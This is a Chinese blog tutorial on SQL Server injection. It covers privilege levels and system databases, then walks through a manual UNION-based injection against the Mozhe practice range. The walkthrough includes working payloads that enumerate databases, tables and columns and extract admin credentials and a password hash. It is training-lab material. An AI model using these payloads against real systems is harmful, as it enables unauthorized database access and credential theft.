web安全|渗透测试|网络安全 超详细SQL serve注入
SQL serve注入
SQL serve简介
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。(来自百度百科)
端口号为1433。数据库后缀名 .mdf,SQL注释符 --
QLServer有三个权限级别:
①sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
select is_srvrolemember('sysadmin')
②db权限:文件管理,数据库操作等权限 users-administrators
select is_srvrolemember('sysadmin')
③public权限:数据库操作 guest-users
select is_srvrolemember('public')
系统库
master数据库
控制SQLserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息
model数据库
是建立所有数据库时的模板,当你建立一个新数据库时,SQL server会把model数据库中的所有对象建立一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满
tempdb数据库
是一个非常特殊的数据库,供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQLserver建立的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server重新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库建立需要永久保存的表
msdb数据库
是SQLserver中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库,不同之处是SQLserver拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在msdb数据库中,该库的另一个功能是用来存储所有备份历史,SQL server agent将会使用这个库
information_schema
是在SQL server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不同,sys是微软自己搞出来的东西
墨者靶场
SQL手工注入漏洞测试(Sql Server数据库)
第一步:判断是否有注入点,注入参数类型
'
(报错可能有注入点)
and 1=1
and 1=2
(and 1=1正确显示,and 1=2 报错,存在注入点)
第二步:判断数据库类型
and (select count(*) from sysobjects)>0
(回显正常为SQL serve(mssql)数据库)
第三步:判断回显字段数
order by 4 (回显正常)
order by 5 (错误)
回显字段数为4
第四步:获取数据库名
and 1=2 union all select 1,2,db_name(),4
?id=-2 union all select '22','33',db_name(1),'55'
?id=-2 union all select '22','33',db_name(2),'55'
?id=-2 union all select '22','33',db_name(3),'55'
?id=-2 union all select '22','33',db_name(4),'55'数据库有:mozhe_db_v2、master、tempdb、model、msdb
第五步:获取指定库的所有表
?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where type='u'),'3',4
(xtype和type回显都行)
第六步:获取字段
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2)from sysobjects),'3',4
?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3)from sysobjects),'3',4
第七步:获取数据
?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
第八步:解密,登录
72e1bfc3f01b7583
工具注入:
pangolin
填写URL,type,数据库类型-----然后开始
点击data----all-----勾选-----datas-----获得数据
- 点赞
- 收藏
- 关注作者
评论(0)